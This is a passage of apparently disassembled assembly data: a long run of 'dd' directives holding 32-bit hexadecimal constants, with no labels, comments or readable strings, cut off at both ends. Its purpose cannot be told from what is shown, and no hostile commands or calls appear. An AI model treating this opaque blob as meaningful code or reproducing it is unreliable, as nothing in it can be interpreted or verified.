52737100h, 28C8475Ch, 0DC50FEh, 295BB13Fh dd 6D9184CAh, 1C00A9ECh, 0CEF249B5h, 0E932BC9h, 7ED50644h dd 22981A80h, 0FC003CB4h, 702AA2E6h, 0A41183D1h, 0D670098h dd 0A04D498Fh, 0A84947ADh, 29B40085h, 0A418F572h, 64680A83h dd 80F3C7h, 6A435754h, 3100D396h, 0A561497Fh, 107A394h dd 8E295F12h, 0E0B42F80h, 3E00A0EEh, 8A4F9C7Eh, 44E1Ah dd 68E549FDh, 0FE0FBC80h, 8900C27Eh, 0F89C2036h, 902F673Fh dd 4A3C4088h, 70DD9600h, 57082E3Eh, 8A6A0049h, 8CEA8113h dd 0B0009897h, 0D3222679h, 23C5C2h, 6DC3C0E9h, 7C4247E6h dd 80F5D73Ch, 8EE7CFA2h, 0E890C4h, 96B7D62Fh, 0A5F70EBFh dd 49621A00h, 2E3CA8B3h, 4A73002Dh, 84CDA194h, 0CC1F19F5h dd 494092C1h, 0D45C7F1Ch, 85DB5096h, 7530008Eh, 698001B5h dd 1600CAC5h, 0BD612E76h, 0FABC87h, 84989926h, 0FB0F193Ch dd 790B10C0h, 12752AEh, 7BAF3108h, 74F0AD69h, 20169404h dd 4C09C4DFh, 416418B7h, 0A7A88029h, 9AD15A00h, 589C558Fh dd 0A438003Ch, 46ED785Bh, 3000D4FBh, 0FCA39084h, 39058086h dd 9789F48Bh, 24005667h, 0A9C8765Dh, 2F666100h, 297DBD55h dd 0C47700A7h, 743F0203h, 0CD75EFA0h, 9D070477h, 0EE6FE20Ah dd 881E5553h, 0FC2771h dd 0ECE352Ah, 0BEDC0349h, 4D21C603h, 0A8A514A2h, 12FACDh dd 0BB346A4h, 7E5EAE80h, 2EB24300h, 78C004DFh, 627000Eh dd 50C8A3Ah, 9D03FC72h, 0CB21D8CDh, 0B64DA898h, 777CB8h dd 246F0A15h, 4005B14Ah, 3300D979h, 6E85E82Dh, 3F375BD0h dd 0BA0E0B73h, 0D203F80h, 96A6124Ch, 0C0797E00h, 0AA2B29DEh dd 0E4051DA5h, 0BA1900B4h, 0DA630B02h, 234D0700h, 13DBFF10h dd 0D2B00025h, 311DBD17h, 0E0000148h, 0B9FCF34Eh, 7724B4Fh dd 0A55AE83Ch, 6B673099h, 9C0F8684h, 0E025B6FAh, 0D8AE3B7Dh dd 8DAF005Dh, 51A15BD7h, 6300B2A0h, 5A44642h, 79843F1h dd 1116C18Fh, 0B475D367h, 0F5D46EF0h, 0C5189F60h, 0D033EAh dd 12066698h, 99563263h, 0D602EBFCh, 535F0E2h, 32850CAh dd 6486A29Bh, 0F6FA1E7Fh, 42740440h, 80F2593Bh, 0C7710ED9h dd 8B9B22h, 0D3F5FD1Eh, 0BF5C2FA3h, 46D14007h, 0B2E0E63Bh dd 0B00735A1h, 0B4BE4C0Ah, 400F0072h, 0DAC3DC57h, 0B03B91Fh dd 9F1BAB37h, 2A2FE142h, 0BA960C0h, 0E112DB2Dh, 0BC7304A0h dd 0C8021FC3h, 0D3D2304Eh, 0B07443F1h, 7966F7Bh, 6B1E07A5h dd 51805B15h, 467D2B7Fh, 0ACA2F200h, 48C3A85Ah, 4AFA0003h dd 0C7B674FEh, 393ED859h, 4CCC9D85h, 6E92A080h, 935BE62h dd 66848020h, 0D5E0F82Eh, 50BB91C2h, 17862E00h, 264DE030h dd 75FF00D8h, 141B473Ch, 5AEE3134h, 33AD8F03h, 908767EFh dd 7436Ah, 0FC64B25Fh, 913C7D30h, 9C00B0B2h, 0B7F614F7h dd 1FE7E52Ah, 4026F83Ah, 20C0C3E9h, 1B0BF3D2h, 15CA905h dd 860C1926h, 1AD06AC9h, 58E900FDh, 16A43F1Ch, 423A6E47h dd 0C900F35Ah, 2DED20E3h, 0EE708h, 0C4E659F1h, 8A9FFBCFh dd 6939C60Fh, 0FE74A31Bh, 0C89AD9DFh, 2B6AC4h, 94F65C79h dd 66DB734Ah, 0C39ED112h, 0A0FF0C0Eh, 0FA83488Ah, 0F2DE001Ah dd 5D56A880h, 0BE013AEEh, 36CB4DD2h, 5570AFE7h, 973700D9h dd 44B39028h, 4F004B8Dh, 95B667EAh, 24B24281h, 0CB11Fh dd 0FE34237Ah, 0CC245291h, 4A0008E4h, 43CD63BFh, 0D7F90955h dd 0E8A0B607h, 0C394CE8Ch, 7128E261h, 42DC3306h, 0EB800C6h dd 0C581DEDBh, 0CB00737Dh, 245580C7h, 0E0A171h, 433767A6h dd 2D6D83Dh, 0BA997B02h, 0E07917D9h, 1EF681A8h, 404861E9h dd 712C368Bh, 8505A9FFh, 0D7675073h, 0BB0EA91Dh, 0CC6940B1h dd 0CA0EF18h, 0AC212732h, 4803A209h, 0FD8CA8F2h, 66DAB018h dd 0CCFE4CA6h, 0ED6CF802h, 8063789Ch, 939B08B0h, 0F7920624h dd 0FB284C00h, 2683DDF3h, 1E217977h, 91807BF1h, 3C08520Fh dd 4A004168h, 0E6A50ACFh, 115BB7Bh, 45D99923h, 0F190FEA7h dd 7880CFC9h, 0E27265ABh, 0FA166B00h, 6C06790Fh, 0EC010092h dd 0AD27D521h, 7130B814h, 80E96C88h, 5CB7125Ah, 0DBB000FDh dd 0BE744B75h, 541A9A00h, 648FF56h, 4FCF007Dh, 0E1D0FBCEh dd 140081D6h, 0E9206A5Fh, 195FA24h, 0B7DB7597h, 80CF3509h dd 615D44A0h, 0F73BE94h, 10C43E8Eh, 0A60C1560h, 9F07BFE6h dd 59915765h, 1AD14830h, 0FD9D006Fh, 0E1B6ACA9h, 6304E0D8h dd 0A27BDB1Ch, 0E8DCA0h, 0C0B3F36Ah, 0D5398BE2h, 0D8B02002h dd 480B0ACDh, 630624h, 788BB43Bh, 1C2FBFC4h, 0A6BD6F00h dd 7C8AA09Ch, 2E0965Ch, 0FA377253h, 0C81ED483h, 0EB61F100h dd 2B63E7F2h, 76A92EF3h, 0B9170024h, 52BEF1C4h, 2C12AE70h dd 50525D39h, 69760100h, 5C911077h, 2D004655h, 965F40FEh dd 0EF0A4466h, 8C181653h, 0CA0F5C07h, 0DF0E5990h, 7E2A00EAh dd 4BDA9DC5h, 0E33B6314h, 0DBB30F97h, 0AC62A03Ah, 588628h dd 0B81A5C7Dh, 6B373C2Fh, 1B25FC00h, 0B76C7093h, 99F50017h dd 0D52F4EFFh, 0D83097E0h, 2C540928h, 81BA006Ch, 1471DC2Dh dd 7225F21Ah, 233C8E16h, 90BD6036h, 0EFBB73h, 935549A1h dd 9E90A51Ch, 91A41500h, 2847E3E2h, 14BE00A8h, 226E80F4h dd 3C381C1Eh, 634B801Fh, 0CD1930Bh, 4F830014h, 1073A3A0h dd 8601EB3Bh, 842233F6h, 8CE07C88h, 0C14D07BBh, 0CA8BB88Dh dd 73AA6EECh, 2A8980ACh, 92F6AEDBh, 5C0F9A00h, 9E6D9809h dd 0CE8B00A5h, 0D64FD810h, 4D0061DAh, 486EBB5Fh, 0DEA60h dd 4431F4E6h, 5678CADCh, 272C9A00h, 9190FA12h, 6879120Dh dd 0AF040558h, 16C18004h, 4A009BFDh, 6C926A6h, 1DAC94E8h dd 0DE43C549h, 0A05DC7E4h, 3755317Fh, 0BE02D831h, 0FAC64900h dd 0D94A6923h, 0CE030094h, 6EE11F84h, 431D529Fh, 73009944h dd 0D2618FDFh, 77FFAC9h, 58C61D56h, 4F3C50B3h, 9E30FB37h dd 0D01FF805h, 5A070E3Bh, 47C0F6EAh, 34BACA4Bh, 9A319260h dd 0FCBE7E52h, 94EEC5Dh, 61E4AC07h, 9280FC0Eh, 9598F12Fh dd 571E8509h, 0E08C0F50h, 0C1BFF675h, 74CF3A32h, 673A9E00h dd 87C03DB9h, 0EC64B626h, 7D5D0B00h, 6E6D43C9h, 0FF6090FBh dd 21453D1Ch, 63AB8100h, 51D707E9h, 0E62072DCh, 0C1B424B9h dd 8613E0h, 4B5D9FACh, 6500E7CBh, 0FC48254Eh, 7D77D05h dd 0E2E3F69Ch, 54C1600Bh, 0C712D04Fh, 0D100612Dh, 0EC6A1926h dd 0A7DA0088h, 301434DDh, 0DB12B159h, 0DC43FBCBh, 90B02F24h dd 6F36EAh, 881079CCh, 526114D5h, 0BB26ACB8h, 0C42608Bh dd 0C0CC4A9Ch, 26871619h, 3C1135h, 5D6D010Fh, 8B096E5Eh dd 0A09BE550h, 0C04F8934h, 0D09D0091h, 15CA4EFh, 0B4030CF0h dd 0FCB19F36h, 57E80573h, 1C5A9413h, 0B4F94C88h, 0AF0C64A0h dd 0B05D5865h, 268FE0CEh, 24710Dh, 0D4BDC3F4h, 2D025FC1h dd 76251C32h, 83605966h, 0BD52C8D7h, 98E1B6FAh, 0DB5110E4h dd 5838003Dh, 0A3CD7A90h, 3CEA7DB0h, 0D6FFDA00h, 0E264F4D7h dd 0CFFB00E0h, 0D5187BD9h, 2C72379Dh, 0A368A52Eh, 0B03E5600h dd 1E83999Ah, 1BD3Bh, 1EEEE120h, 23136094h, 6079E25h, 29F0329Bh dd 0C033CE69h, 0B3B9BC5Ch, 0E701C037h, 3ABB9D36h, 9C381C08h dd 635EBFE0h, 0F4CF9101h, 5852F24Eh, 51009438h, 55A00C5Ah dd 9F004559h, 3CFBEF30h, 0F89D3AB3h, 0A09C19h, 6090BDBCh dd 59029832h, 88DE4752h, 0BF044886h, 5C94EC1Bh, 844D8ECCh dd 0C7533B00h, 0A4732C21h, 1D138E06h, 7082ED0h, 0F69657CAh dd 1082874Ch, 6CE1279Fh, 76F8990Eh, 38B434C6h, 35E68340h dd 98680CC1h, 9A1F6Ah, 0DF536D8Fh, 2228C9E4h, 0D1BD920Ah dd 0E800D85Fh, 980D8FDh, 0ADA20083h, 558F6A33h, 7079EF63h dd 99002EE4h, 119E58Ch, 175B1F30h, 1F04FBF5h, 32C74048h dd 9EEBA561h, 75023Eh, 84C6FF11h, 969D06h, 0A66B97B6h dd 44CF3F27h, 2ACC39h, 4B31D2FDh, 0A60C4B7h, 0D0F19705h dd 0AAB3008Ch, 26174C5Fh, 8C08EBA0h, 71004AE2h, 0E8FF0EFAh dd 2D9F59h, 85D683CEh, 779BFB08h, 0B97745Ch, 0E2E0FEh dd 3EC98A74h, 2B66176Ch, 0B6DC0194h, 3C57EA58h, 6B3839Ch dd 3FDEC88Ah, 95D505ADh, 547749h, 0FB268D8Ch, 35006BC6h dd 0CFF9F7B4h, 0C388E7h, 0E3C57752h, 0F386A987h, 0B2290C0Fh dd 71879F4Ah, 0E2F6F545h, 0FF7700AEh, 2735AECBh, 0C800BE22h dd 17FE664Ch, 759D601h, 30159D6Ah, 0F9082075h, 200F880h dd 0E81AF51Dh, 1E8544BFh, 938B203Dh, 2D1F13h, 596C097Ah dd 0B905F0D0h, 0A4505AEh, 0C448F500h, 93AB2Ch, 0EA7029D2h dd 0FA1D495Bh, 2E33DE0Eh, 3E5160DBh, 0FC7CA8BEh, 6C300738h dd 0C04B0126h, 3CDC9922h, 67FD7A17h, 0B7C37084h, 275D88C4h dd 901E4DB3h dd 537CBA00h, 0C0C1E91Ah, 0B769BF07h, 872603C5h, 0A3F20320h dd 0B8F138ABh, 1DEE45A0h, 9E05F700h, 2F866E8Eh, 3108C384h dd 0E6905294h, 0D40004F1h, 4A1CF3A3h, 0D9579Eh, 0C463B325h dd 68E1299Bh, 8215A500h, 5A6F5CA8h, 86F800AAh, 61D9699Ah dd 3C7B5746h, 73EEA200h, 1FD428ECh, 37C30ECFh, 164750BAh dd 7A5A73EFh, 0C46E3389h, 4679E923h, 80F4A738h, 4287BAA2h dd 20DDBF1h, 83BB6BF2h, 7C6093F9h, 0D10E0A07h, 20B8E626h dd 0CCB07B6Dh, 11490D3h, 641254B6h, 0D93705B1h, 2F60CC0Dh dd 0F48F2703h, 780B5D38h, 55071828h, 0BD335009h, 7069BB05h dd 6CF095ECh, 42D89EFEh, 0FC0CDA8h, 2E820B9h, 500F44B8h dd 0A0D55172h, 5F31C4E0h, 78A298E7h, 0F46500C7h, 53418A84h dd 1E4825F9h, 0BC2C50D3h, 3F0BEF07h, 0D371CE09h, 74D4DCE2h dd 17D7E9Eh, 51795999h, 80A3015Eh, 69D12411h, 0A565E9h dd 234AD777h, 0CB4706B5h, 965BEF3Bh, 0CC2F7ACh, 5E54C694h dd 0E53C078Eh, 8214E0F5h, 987C11A5h, 76FB0D0Fh, 80A0A978h dd 702EFEA0h, 9874725Dh, 0E4010094h, 0C248BA0Fh, 324A7BDEh dd 8C439852h, 6CE315h, 0B39FA209h, 0DA71039Eh, 0D3679C00h dd 5CA7AF36h, 4E43287Ch, 188B00B0h, 602F7A88h, 143CE521h dd 0C930824Dh, 0C076AC22h, 44F8E0h, 0C090A475h, 7F4A559Bh dd 4509B607h, 1130EDE1h, 177E08A8h, 1134F34h, 3593302Bh dd 0E7C2C87h, 0E0A8802Dh, 0F59B0B2Eh, 167C0272h, 1E109369h dd 0E226D540h, 8494F750h, 58797601h, 0E82AFFF4h, 5862E052h dd 8048542Ch, 0A1370E99h, 0DD7F87E5h, 894DC1C2h, 0C0D83D3Eh dd 0F798C1EEh, 677A8403h, 0B82314CFh, 0D2624Dh, 0AEABA2FDh dd 751BC98Bh, 0CC05022Ah, 9807CC1Ch, 21683C8Fh, 0C2601043h dd 507A83ECh, 1A1D83Bh, 0E6F14849h, 0FCBA96A8h, 9B0BEA78h dd 7ECF40Dh, 2541ADB8h, 980ACCEh, 623F0261h, 5A099926h dd 0FF408Fh, 2F389AF4h, 3DEEAFh, 0AE48A84Bh, 8E532010h dd 0FCB25015h, 401221ECh, 0B7A28D82h, 66B13824h, 0F609F502h dd 319C4081h, 95F30042h, 394577CFh, 0ED0E2E43h, 8C21A8BCh dd 724C14AFh, 0DF440088h, 8A33CAB6h, 0C9006846h, 0F3DBCFD1h dd 58111A18h, 0F04C8338h, 1794E400h, 0A65168BEh, 50DAA50Bh dd 5F72811Dh, 0A17080E0h, 0AD7C03E4h, 9D96A06Ch, 0C66F7AE0h dd 0C031B900h, 50C48F0Ch, 3CFE0EC8h, 0E3A01222h, 0F410FDF7h dd 8B4DAB00h, 0CE5CB2BBh, 0EF8B266h, 35C24737h, 489890F7h dd 960118E0h, 8B607256h, 9FC00315h, 237A0207h, 91FF7F11h dd 837470C8h, 0AF221600h, 37C9DD2Dh, 0B067742Fh, 0EB32086Ch dd 5CC55248h, 298B490h, 4913014Dh, 54764CE7h, 801468A2h dd 39E98CE4h, 2B690596h, 0D0EB6CF6h, 5DBE29D8h, 0B85A3A01h dd 0B5138A5Bh, 3A583A60h, 5E04E510h, 979A6A90h, 76007928h dd 362F1EBEh, 479B2C00h, 9D8D0CADh, 1A7B00FCh, 0D8513895h dd 91FE01F5h, 0D03E5901h, 0D6F3A82Bh, 3D24D0h, 0D969517h dd 31B737D7h, 0E800C470h, 3A0F2AA8h, 0FE43A7h, 0F34EB43Eh dd 3444F03Ch, 4549B31Ch, 8FDC1C0h, 0AB676Eh, 5FE07935h dd 7A611F87h, 7309133Ah, 0E62EAC00h, 756AEDDBh, 60F7077Eh dd 80A027E9h, 78A71E5Ah, 9034EC1Ch, 96778203h, 9828026Dh dd 0BFC1998Ah, 87059050h, 5E300B58h, 2518890h, 8D313090h dd 584C0311h, 0FEACFC0Bh, 29D49896h, 9EBB3007h, 14A66F10h dd 4A3E029h, 6D0618A0h, 0A2EE1EA0h, 75F810h, 0DA72D0AFh dd 77DC43B6h, 91CB1178h, 0D150803Dh, 16F01AA0h, 161C5FCh dd 0D7F243E0h, 0CBE6D092h, 0F100189Ch, 49FAE4DDh, 60B07D57h dd 44400882h, 0FE0F90CDh, 0C27301CAh, 405F0E1Eh, 98B0DBD8h dd 0FB28C02Ah, 5E7FCDE8h, 0B1FDD316h, 37400E1Ch, 0C471B7FCh dd 586A01BAh, 84FBBD3Bh, 0B07EE4ADh, 0B5F98703h, 0DB44C5D5h dd 7A4FC8A7h, 4560A117h, 6C08A895h, 0D7BC3B84h, 384A86A0h dd 0C7A24300h, 0BB81E339h, 0EBAC0147h, 0B2F489C4h, 0E9B9F4C3h dd 0AE253F07h, 0FDD1CD43h, 0E6E817F5h, 3287713h, 0CAF0325Ch dd 5ED0950Fh, 5000564Ah, 6CCD1CF4h, 0FD3053h, 3F5AC623h dd 0D66A70B3h, 2AFACC00h, 2B65565h, 2F530FF6h, 6BE0C030h dd 19AE9D0Ah, 316D3A00h, 0F32C5FE5h, 14203C8Bh, 5384800h dd 0FB0655B6h, 441C47ECh, 61C10B95h, 355B250Eh, 5E9E7F0h dd 0E20ACD2Dh, 0D8FFC04Eh, 50F92F9h, 80731F76h, 52FC4A43h dd 7F3F3CD6h, 0F529EB0Fh, 3C066E00h, 98A8BD7Ch, 0B71F659Ch dd 0AA8143F9h, 0D83A3B56h, 25C44D2h, 0F4B54D8Fh, 26E2D709h dd 4FDB08A0h, 570AD841h, 0B8C9D2BAh, 90BF3880h, 76CE1C83h dd 7E4A011Fh, 78CAFCBBh, 0F60C2016h, 9F40BC12h, 0C4002C24h dd 68DB20BBh, 0E3F8191Ah, 94CC0890h, 39DA9121h, 4433C8Dh dd 0DD4FB5E6h, 0B00188E8h, 0FB9B1A4Ah, 0F1818ECAh, 0ADE6C0E3h dd 31F756ABh, 7B21865Bh, 0DD185ACh, 3380DA4Eh, 3740FA4h dd 7398BD05h, 26D042F2h, 293D8DE9h, 1EFD81B1h, 0F5DE6D64h dd 0FFD1618Fh, 24801D72h, 97770C6Ch, 809DAD08h, 0FDCD3600h dd 0F537E89h, 0BE52063Dh, 59F65000h, 0E360A13Fh, 0AFB674B8h dd 166900E0h, 0E7CD5ECh, 0BF79B17Fh, 9FE71F00h, 626B6D8Ch dd 2F8F00FBh, 0D84B4928h, 0AA1CC290h, 2141E6A7h, 2BDC56E7h dd 5E9B3080h, 0AD6C2F08h, 0EEA47E00h, 9E80F554h, 13E706B6h dd 58F13F74h, 7568111Dh, 0F6022C1Fh, 39AB70h, 0DD57D7A4h dd 3ED551C0h, 0BB646Fh, 1242ED6Dh, 0EF3C5BA1h, 7ECFC858h dd 1E307A00h, 6EB2EAC0h, 693200D2h, 6C1B9C35h, 0AA30DD90h dd 7A2C70D4h, 8E7021Ch, 24501E2Eh, 0D034B161h, 0C207767Ch dd 1F6D52Ch, 842B89F0h, 95684C13h, 0C17BA701h, 83D298DAh dd 47283549h, 940EFABh, 0F2F6D92Dh, 8CDA544Fh, 0E729C0C1h dd 0C6D043ACh, 259D58h, 0CE227CFh, 0F5D8156h, 7B5C644Eh dd 4389001Dh, 0ABCC9F60h, 2DA06601h, 2EF87F45h, 21805ED1h dd 98CDA7C5h, 2100B3D6h, 0EFEE8044h, 631BC4Fh, 736EDF02h dd 5946598Ch, 0E8CC1A7Bh, 2C245068h, 94C04063h, 18285CCh dd 48CFE044h, 0C403691Fh, 5C700A54h, 8ADE28C0h, 43F4E5h dd 630E1BE2h, 3F80B706h, 52202B67h, 0E0506666h, 0A30E18EFh dd 629A2058h, 442A2504h, 0BA4064E2h, 0B8CDEA8Ah, 841080E9h dd 0F12080E8h, 1250CD5h, 68084D39h, 0D09B31C0h, 1BB9880h dd 63FF31C8h, 81666DBEh, 41B61060h, 96C0ACE8h, 63B3E1Dh dd 42DA2485h, 8888206Eh, 856E36ADh, 84C0BF10h, 2055874h dd 0B69C0381h, 0EB8F1779h, 6B33E7F8h, 0A5C99603h, 0E011B07Fh dd 797AC123h, 0CA80F0Dh, 69837448h, 20786CD3h, 54B3090Ch dd 7331A0h, 0BB409EABh, 0A4DDAE28h, 0AC49D200h, 99EAB11Bh dd 46FA03h, 0EE260BBEh, 85F97B50h, 0E00055FAh, 0F3EFD40Dh dd 14EBA0B5h, 14B8AD04h, 6BF1DF0h, 0B029423Ch, 6C10980Eh dd 0C6441E5Ch, 16B646CFh, 9A03B176h, 42C39753h, 9C15E10Ah dd 6D8F0C51h, 21869808h, 6410B193h, 88D0E3CFh, 2BC28F80h dd 0A3D69A8h, 8809CDBFh, 0B1BDAF85h, 0F3940Eh, 4B5BFE44h dd 6A8A30C8h, 39B45520h, 6D15C903h, 0A47B514h, 22878C50h dd 4FF39DB0h, 4BA30D76h, 81C14CA5h, 0E317E178h, 0CFE053CBh dd 38C332CDh, 0C12DA511h, 8403A8Fh, 44C2BF76h, 41008D31h dd 2538B794h, 1842071Ch dd 0C973A927h, 8603C1F0h, 370A458Dh, 7807C95h, 412D22AFh dd 0EB5120CBh, 0F01BE35h, 0FD122AA5h, 2980B327h, 9914BA50h dd 340CA649h, 88E32A8h, 73D0A8DCh, 121400B2h, 462627BAh dd 0B00CA003h, 814E4D6Dh, 5925016Bh, 4F51F5E9h, 68A84061h dd 4B48275Dh, 89CE0A4Ch, 1789CC1Fh, 0A6480799h, 81AFB881h dd 59D5410h, 2C070107h, 2E0FD46Eh, 217B8C31h, 5A504E5h dd 0C0166A2Eh, 5ACC41ADh, 0FFC5DA01h, 0C9127AABh, 0BE93D180h dd 24D90765h, 4CA8F101h, 68E3C395h, 8BD8080h, 0B35F21CAh dd 11C10B60h, 24816AF6h, 81000E54h, 0A4F39828h, 1235F48Fh dd 34EEC71Dh, 7314518h, 0F7F400D0h, 0A9777EE6h, 8501EB78h dd 51D6B13h, 0F88C469Eh, 0F651DC54h, 0E394CF03h, 0EBA822F1h dd 24EFA8C8h, 651D0CB3h, 0D73034FFh, 0A9B2480Ch, 319945h dd 0F51E41E2h, 8C948E5Eh, 4883CD3Ah, 804B8B6Ch, 0D2F6BD93h dd 21F700E5h, 0AA0158Dh, 0F4A0629Bh, 0F926F541h, 4B000427h dd 1C1E7BD2h, 0FCF028Bh, 9060F17Eh, 72A839E0h, 4CB42E00h dd 996B92FDh, 6527004Ah, 0F75773EDh, 61005D8Bh, 6A15E9AFh dd 1E205556h, 0C77FBD16h, 0B431CEh, 695B5C62h, 35CDF900h dd 3BFBFA4Ah, 665900B9h, 17E02BD8h, 701D2851h, 0C3801657h dd 13FA2591h, 0B75E26AAh, 35C1005Fh, 6D7B3E0h, 39515937h dd 0E4D45C80h, 728A1CD1h, 0F06EDCh, 4529FF2Dh, 36071999h dd 57796E6Bh, 2FECD3h, 0D9E77B38h, 0BCB9E33Fh, 0B40C5C03h dd 0EF83D7h, 0FCF82B60h, 0C7311F3Eh, 2E0362FCh, 0E636D264h dd 0EF10B8B7h, 0AF653CA3h, 49DDA481h, 810EC7CEh, 0F9C87F91h dd 40C07814h, 0A7880090h, 0F560220Ah, 0A9EEAC8Bh, 5DF1CE00h dd 2A216D74h, 4675803Ch, 0CBF05681h, 0D4A800A9h, 6A3B54C0h dd 65006985h, 0E4BC4EBFh, 3FC149h, 0DD7E5274h, 322FE633h dd 0C0D99902h, 0A3405FA5h, 58494h, 0AAD2BD8h, 2AFB7D32h dd 7FCD3D00h, 3FEEF9B2h, 487A0642h, 0C1D922FFh, 58C060F7h dd 0B80028FAh, 0DAB59E7h, 30ACD9BFh, 0E050B25Ch, 3E6063A2h dd 4BF5E469h, 6770C6Eh, 8A49DC05h, 0C4769EFAh, 6A5EE300h dd 7FBAAFB2h, 2F410026h, 0EFF38516h, 7500D712h, 84A996DAh dd 79CCE3D5h, 0B5170142h, 34E2FCA1h, 0F0F7D08Bh, 3A71ED00h dd 0C9D483BCh, 3FA13D82h, 0F728EF30h, 0AF008E90h, 586726DCh dd 0CD5435C8h, 0F8212108h, 3D0EBF16h, 80F3811Eh, 0DD4C7B03h dd 617761B4h, 0E0D99DA1h, 11C0FA45h, 1E4ED49Ch, 28D67CC7h dd 0E0CF920h, 9DE145E3h, 17043B60h, 0F3E8B58Ch, 0D520F660h dd 0BBCC72h, 73BEB2B8h, 0AA71C4EFh, 115490FEh, 8200DA14h dd 54AF7380h, 6C066h, 0C88D65FEh, 0CC080F24h, 0D92FFA0Ch dd 16B579D6h, 394682Ah, 3ED8B3A1h, 0E51D1688h, 0E1055201h dd 913AE2F8h, 70A2D186h, 0E8F0381Bh, 6E84E954h, 0B1E52500h dd 86EED655h, 56440FFBh, 74CC6C7Ch, 0F300FC99h, 0CC572427h dd 1C52E1BAh, 40B4FA7Ah, 0C6B35DF8h, 0B901650Ch, 9B025E88h dd 398019B1h, 28E1A7F7h, 707A6922h, 14F80E00h, 938B2B97h dd 0F77B0C15h, 0A7D1FD63h, 9B22911Dh, 0A0372806h, 75E215B9h dd 0B400EC8Fh, 54050A5Eh, 88580417h, 75CD0C58h, 6A71C7h dd 55326296h, 52B31CBFh, 0FAC8300h, 416C4286h, 61080453h dd 91AE4ABBh, 8A8CC31Ch, 0FC7B0780h, 0C17D0448h, 51A82675h dd 926AF0h, 929DCD88h, 18333C48h, 0DBF40880h, 0E8FBF950h dd 774C7148h, 0F6E870Ch, 40072892h, 6038FC16h, 256A87A9h dd 0DAD01D2Fh, 37C8D2h, 0E642B90Ch, 0F60870BBh, 0C5FD2C03h dd 8813A78Eh, 9FAB99h, 0B69AB79Bh, 79CE1458h, 7892C800h dd 0D22DA102h, 0E6E7EB8h, 0EC5EDE4Bh, 5A3FB261h, 4D8FF031h dd 0E0D3A51Eh, 50002C24h, 0DF4CBD30h, 0F3A00027h, 84718E86h dd 100A20Bh, 96119D93h, 0E06EE05Dh, 9748C07Bh, 2604B9C2h dd 68FA590Fh, 0B44180AEh, 0F6408Ah, 6C8FA843h, 8479C08Dh dd 39037E00h, 349FCCCAh, 88DC01B1h, 0ABFEE48Ch, 92BE606Eh dd 0EE822E00h, 1793027Eh, 0ECA91428h, 4F008FD7h, 6D1F52FCh dd 0D306A2DFh, 0DC47048Bh, 0AC7C03E8h, 0F140C59Dh, 81E510D1h dd 0BE6F4F19h, 18F8DEF4h, 0B1520096h, 9A3BF70h, 5A0084A0h dd 0E7CA48A9h, 30D0F5h, 50972F98h, 6F7B28FDh, 2214F61Ch dd 0F2F863C7h, 86EC7AA0h, 90D324A4h, 8A07BE08h, 0C11B6410h dd 0F4C3429Ah, 0F0075B3Fh, 0EEFD6DC4h, 0F1D8C0BEh, 1E37E8Ah dd 0A6BF4167h, 24D2837Fh, 25F0E5FCh, 718D71C3h, 1884C0ACh dd 0B53F0004h, 874EB61Bh, 0ABFE82ADh, 3EE54600h, 2C476D52h dd 22E006A9h, 4A6FFF4Bh, 0F2F04A00h, 1B68ED7Ah, 450509C6h dd 2A074F9Bh, 28170D4h, 0D31F1444h, 90005DD5h, 0A7D223CEh dd 9F56079Ch, 30328FB0h, 0EA49D688h, 4DC65900h, 4147F684h dd 0C4B901A1h, 0EFB27A48h, 3D88243Ah, 7C27AA00h, 0FCE69E3Bh dd 245F006Dh, 4932B79Ch, 0D0C49FFDh, 5C808961h, 29AA9A0Ah dd 61B8B37Eh, 0FC2913ACh, 68744EBDh, 0AFFE7203h, 0E112DF7Dh dd 5064A523h, 141EE0FFh, 0B4EF779Ch, 0FE075CD4h, 0A7B629ECh dd 0C875B0E4h, 3503DC64h, 0C1668805h, 134000BCh, 0AA31D44Ah dd 5F0A9AB4h, 0BC65DFF8h, 93F9F81h, 0CE0FE88h, 0FD260A16h dd 80AC3DA8h, 0F687E30Ah, 10008B6Ah, 18241512h, 3BA9A19h dd 8128A3FEh, 58D0CE4Dh, 890E4654h, 7CDB760h, 0D0730F79h dd 0DB690091h, 220EDF0Bh, 88C0E10Ch, 7EEFFF10h, 2D401C7Ah dd 48490020h, 0C8AF369Eh, 845E663Ah, 6F877DB5h, 2A793880h dd 3E54FE05h, 128070ADh, 8930FEA2h, 58938AE4h, 0EB8CC490h dd 0B5388B31h, 2B007FE9h, 0ACF2976Dh, 0F679DA78h, 1474F7h dd 5815AD9Bh, 3825A870h, 67AFCC00h, 0DCC26A69h, 0B1FD00E6h dd 0D2CFD60Ah, 0BC020779h, 0F22A9471h, 0DE09407Dh, 605D129Ah dd 3A7470D0h, 3200899Bh, 0CA084772h, 1B5F1F7h, 535BDA4Ah dd 85314491h, 35885699h, 3F10E427h, 60963EC6h, 0BD11A1F6h dd 59596661h, 0FF58155Ch, 39DB02B4h, 0A04103C6h, 0AD4DA8DCh dd 26BA007Fh, 0F9018F9Eh, 6609CE3h, 0D3440568h, 244E3BC8h dd 455CE78Eh, 0EB4B660h, 84009D9Fh, 0F10A7881h, 0E80C1DEh dd 0CB420277h, 905BBEE4h, 99705F14h, 80318928h, 2AED9E03h dd 0E858C7F3h, 3334BD5Bh, 50D9FC13h, 81E0AA9Bh, 110B8E35h dd 25627DA2h, 0AC000930h, 0DA86465Dh, 442F0101h, 31C1FB21h dd 1033F7h, 0FD86347Eh, 0EBBA52h, 11361E15h, 304DD06Fh dd 7995C013h, 0D78ED460h, 185C90F7h, 0A981553Bh, 0D90A9B6Bh dd 0FC77BF36h, 0F68CDE00h, 7D7EE229h, 0A96B28C0h, 0B0B552FAh dd 51CFBC52h, 16E882E0h, 5324CBBDh, 860C67E7h, 996A85Ch dd 662F38FBh, 0F801C832h, 4005A29Fh, 40EA5C88h, 0C7AB2712h dd 75E37405h, 0ADF64C0h, 2D810198h, 0B6E59CC2h, 9630810Ch dd 0E49AF2C7h, 4D86A8Fh, 3AF1403Fh, 0CE1DB00Eh, 0CF2B1C00h dd 77DD3DB7h, 6AE9864h, 0A7AFD82Ch, 6B04A239h, 3A0CF57Fh dd 1BE50C87h, 0C46AEB00h, 6E9467h, 84A770F9h, 0CB46A258h dd 28981B50h, 0D19CE700h, 23ED1F4Ch, 0DD72E1h, 2CB0B682h dd 0A64A93BDh, 0F281C900h, 2F4BD9F4h, 0FF54006Dh, 3801567h dd 24CED19h, 0BFA301B8h, 0AF2C23A4h, 0FF70F8h, 0D73DA2BAh dd 75B0CF60h, 0E7975B1Dh, 37CCF500h, 117A42Eh, 8216FBA7h dd 741CBDD6h, 9CA4654Ch dd 109224F0h, 679B6800h, 0E69878E5h, 1C49FCF1h, 0CE0735D6h dd 50929654h, 